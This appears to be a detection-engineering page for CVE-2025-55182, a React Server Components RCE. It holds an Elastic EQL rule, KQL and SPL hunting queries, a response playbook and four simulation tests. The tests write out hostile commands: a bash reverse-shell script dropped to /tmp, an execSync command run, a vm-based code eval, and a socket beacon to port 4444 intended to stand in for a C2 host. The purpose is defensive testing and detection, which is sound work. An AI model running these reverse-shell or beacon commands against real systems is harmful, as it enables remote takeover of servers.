Detect CVE-2025-55182 — Meta React Server Components Remote Code Execution in Elastic Security
Detects exploitation of CVE-2025-55182, a critical remote code execution vulnerability in Meta React Server Components. This vulnerability allows attackers to achieve server-side code execution by abusing the React Server Components protocol, potentially leading to full server compromise. The vulnerability is actively exploited in the wild (CISA KEV).
MITRE ATT&CK
- Tactic
- Initial Access Execution Persistence Impact
Elastic Detection Query
sequence by host.hostname with maxspan=2m
[process where event.type == "start"
and process.name in~ ("node", "node.exe", "next")
and process.args : ("*child_process*", "*execSync*", "*spawnSync*", "*eval*", "*vm.runIn*")]
[any where event.category in ("file", "network", "process")
and (
(event.category == "file" and file.path : ("/tmp/*", "/var/tmp/*", "C:\\Windows\\Temp\\*") and file.extension in ("sh", "py", "elf", "exe", "pl"))
or (event.category == "network" and destination.port in (4444, 1337, 9001) and network.direction == "egress")
or (event.category == "process" and process.parent.name in~ ("node", "node.exe") and process.name in ("sh", "bash", "cmd.exe", "powershell.exe", "python3", "python"))
)
] EQL sequence rule that correlates a Node.js process with suspicious argument patterns (CVE-2025-55182 exploit vectors) followed within 2 minutes by file writes to temp directories, outbound connections to high-risk ports, or shell spawning — indicating successful RCE.
Data Sources
Required Tables
False Positives & Tuning
- Build toolchains using Node.js to invoke shell scripts as part of webpack or Vite pipelines
- Container orchestration systems that spawn shells from Node.js management daemons
- Penetration testing activities against non-production React Server Component deployments
- Misconfigured development environments exposing Node.js debug ports
Other platforms for CVE-2025-55182
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1CVE-2025-55182 RSC Protocol RCE Simulation — Command Execution via child_process
Expected signal: EDR telemetry: ProcessCreate event with parent=node, child=sh or node with args containing execSync. Audit logs: execve syscall for 'id', 'whoami', 'hostname' with parent PID matching the node process.
- Test 2CVE-2025-55182 RSC Exploitation — Reverse Shell Payload Drop to /tmp
Expected signal: File creation event in /tmp with .sh extension, owned by node process user, with executable permissions set. EDR FileCreated event with FolderPath=/tmp and FileName=rsc_test_shell.sh.
- Test 3CVE-2025-55182 RSC Post-Exploitation — Dynamic Code Evaluation Abuse
Expected signal: Process event showing node.exe/node with args containing vm.runInNewContext. If eval succeeds, subsequent execve events for 'id' binary with node as ancestor process.
- Test 4CVE-2025-55182 RSC Network C2 Beacon Simulation
Expected signal: Network connection event from node process to 127.0.0.1:4444 (substitute real C2 IP in production test). EDR NetworkConnectionFound or equivalent with InitiatingProcessFileName=node and RemotePort=4444.
Response Playbook
Triage
- Identify all internet-facing services running React Server Components (Next.js, Remix, or custom RSC implementations) and immediately check their version against the affected range disclosed in the vendor advisory.
- Correlate process tree events on affected Node.js servers: look for node/next spawning unexpected child processes (sh, bash, cmd.exe, python) or writing executables to /tmp or system temp directories within the last 72 hours.
- Review web access logs for anomalous RSC protocol requests — unusually large payloads, unexpected content-type headers (application/x-react-server-components), or requests from unknown IP ranges targeting RSC endpoints.
- Check for new cron jobs, systemd services, or scheduled tasks created by the node process owner account that were not present before the vulnerability disclosure date (2025-12-05).
Containment
- Immediately isolate confirmed compromised React Server Component hosts from the network while preserving memory and disk state for forensic investigation; do not restart the process until memory acquisition is complete.
- Apply the vendor patch or mitigation from https://github.com/vercel-labs/fix-react2shell-next and redeploy the application behind a WAF rule blocking malformed RSC protocol requests until all affected instances are patched.
- Rotate all secrets accessible to the compromised Node.js process — including database credentials, API keys, JWT signing secrets, and OAuth tokens — treating them as fully compromised.
Evidence Collection
- Capture full memory dump of the Node.js process using a tool appropriate to the OS (e.g., gcore on Linux, procdump on Windows) before any containment action that would terminate the process.
- Collect web server access logs, Node.js application logs, OS audit logs (auditd/Windows Security Event Log), and network flow data for the 48-hour window preceding detection, preserving original timestamps and chain of custody.
Escalation Criteria
- !Escalate immediately to incident commander if evidence of lateral movement is found — e.g., the compromised Node.js host making SSH connections, accessing internal APIs, or querying databases beyond its normal access pattern.
- !Escalate if the attacker has established persistence (new user accounts, cron jobs, SSH authorized_keys modifications, or implanted web shells) indicating the compromise extends beyond the initial RSC exploit.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Node.js process tree showing unexpected child processes spawned from node/next parent (OS audit logs, EDR process telemetry) - >
Files written to /tmp, /var/tmp, or OS temp directories by the node process user account, particularly executable or script files - >
Network connections initiated by node/next processes to external IPs on non-standard ports (4444, 1337, 9001, 8080, 8443) - >
Web access logs showing anomalous POST requests to RSC-related endpoints with large or malformed payloads - >
New or modified cron entries, systemd units, or scheduled tasks owned by the node process account
Tuning Guidance
Start with high-severity alerting only for the shell-spawning sequence (Node.js → sh/bash/cmd.exe) as this has the highest true-positive rate. Suppress alerts from known CI/CD runner hostnames and development workstations by maintaining an allowlist of asset groups. For the network-based detections, build a baseline of normal outbound ports used by your Node.js applications over a 2-week period and exclude those from alerting. The temp file write rule generates significant noise in containerized environments where /tmp is heavily used — consider scoping it to production host asset groups only. Review the vendor advisory periodically as affected version ranges are confirmed.
Hunting Queries
Hunt for Node.js processes that have spawned interactive shells — a strong indicator of successful CVE-2025-55182 RCE exploitation
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("node", "node.exe", "next")
| where FileName in~ ("sh", "bash", "dash", "zsh", "cmd.exe", "powershell.exe", "pwsh.exe", "python3", "python")
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessCommandLine, FileName, ProcessCommandLine
| sort by TimeGenerated desc index=* sourcetype IN ("WinEventLog:Security", "linux_secure", "osquery:results")
| eval parent = coalesce("ParentProcessName", "parent_process_name")
| where match(parent, "(?i)(node|next)")
| eval child = coalesce("ProcessName", "process_name")
| where match(child, "(?i)(sh|bash|dash|zsh|cmd\.exe|powershell\.exe|python)")
| table _time, host, user, parent, child, cmdline
| sort -_time Hunt for outbound network connections from Node.js processes to external IPs — potential C2 or data exfiltration following RSC exploitation
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("node", "node.exe", "next")
| where RemoteIPType == "Public"
| where RemotePort !in (80, 443, 8080, 3000, 3001)
| summarize ConnectionCount=count(), Ports=make_set(RemotePort) by DeviceName, RemoteIP, InitiatingProcessFileName
| sort by ConnectionCount desc index=* sourcetype=stream:tcp
| where match(process, "(?i)(node|next)")
| where NOT (dest_port IN (80, 443, 8080, 3000, 3001))
| where NOT match(dest_ip, "^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)")
| stats count by src_ip, dest_ip, dest_port, process
| sort -count Atomic Red Team Tests
Simulates an attacker exploiting CVE-2025-55182 by sending a crafted React Server Components payload that causes the server to execute an arbitrary command via Node.js child_process.execSync. For use in isolated lab environments only.
Command
node -e "const {execSync} = require('child_process'); const payload = Buffer.from(JSON.stringify({type:'ReactServerComponentPayload',action:'__proto__',value:{execSync:'id'}})).toString('base64'); console.log('Payload:', payload); execSync('id && whoami && hostname', {stdio:'inherit'});" Cleanup
No persistent artifacts. Kill the node process if it remains running: pkill -f 'node -e' Expected Telemetry
EDR telemetry: ProcessCreate event with parent=node, child=sh or node with args containing execSync. Audit logs: execve syscall for 'id', 'whoami', 'hostname' with parent PID matching the node process.
Expected Detection
Triggers kql DeviceProcessEvents rule on InitiatingProcessFileName=node with ProcessCommandLine containing execSync; triggers spl rule on cmdline matching child_process or execSync pattern.
Simulates the file-write stage of a CVE-2025-55182 attack where the exploited Node.js server writes a reverse shell script to /tmp and makes it executable, mimicking attacker persistence setup.
Command
node -e "const fs = require('fs'); const payload = '#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/4444 0>&1\n'; fs.writeFileSync('/tmp/rsc_test_shell.sh', payload, {mode: 0o755}); console.log('Written:', fs.statSync('/tmp/rsc_test_shell.sh'));" Cleanup
rm -f /tmp/rsc_test_shell.sh Expected Telemetry
File creation event in /tmp with .sh extension, owned by node process user, with executable permissions set. EDR FileCreated event with FolderPath=/tmp and FileName=rsc_test_shell.sh.
Expected Detection
Triggers kql rule on ActionType=FileCreated with FolderPath matching /tmp/.*.sh pattern; triggers spl is_suspicious_file rule on file_path matching /tmp/ with .sh extension.
Simulates the dynamic code evaluation vector of CVE-2025-55182 where attacker-controlled RSC payload causes the server to evaluate arbitrary JavaScript using vm.runInNewContext or Function constructor, bypassing static analysis.
Command
node -e "const vm = require('vm'); const attackerCode = \"require('child_process').execSync('id').toString()\"; try { const result = vm.runInNewContext(attackerCode, {require: require}); console.log('Dynamic eval result:', result); } catch(e) { console.log('Contained:', e.message); }" Cleanup
No persistent artifacts created. Process exits after execution. Expected Telemetry
Process event showing node.exe/node with args containing vm.runInNewContext. If eval succeeds, subsequent execve events for 'id' binary with node as ancestor process.
Expected Detection
Triggers kql RSCExploitIndicator=DynamicCodeEval on ProcessCommandLine containing vm.runInNewContext; triggers chronicle_yaral rule on command_line matching vm.runInNewContext pattern; triggers elastic_eql first sequence event on process.args matching vm.runIn*.
Simulates the outbound C2 callback stage following successful CVE-2025-55182 exploitation, where the compromised Node.js server initiates a connection to a simulated attacker-controlled host on a common reverse shell port.
Command
node -e "const net = require('net'); const client = new net.Socket(); client.setTimeout(3000); client.connect(4444, '127.0.0.1', function() { client.write('CVE-2025-55182 C2 beacon test\n'); client.destroy(); }); client.on('error', function(e) { console.log('Connection attempt logged (expected failure in lab):', e.code); }); client.on('timeout', function() { client.destroy(); });" Cleanup
Process exits automatically after timeout. No persistent artifacts. Expected Telemetry
Network connection event from node process to 127.0.0.1:4444 (substitute real C2 IP in production test). EDR NetworkConnectionFound or equivalent with InitiatingProcessFileName=node and RemotePort=4444.
Expected Detection
Triggers kql rule on ActionType=NetworkConnectionFound with RemotePort=4444 and InitiatingProcessFileName=node; triggers crowdstrike_cql on RemotePort IN [4444] with NetworkConnectIP4 event type.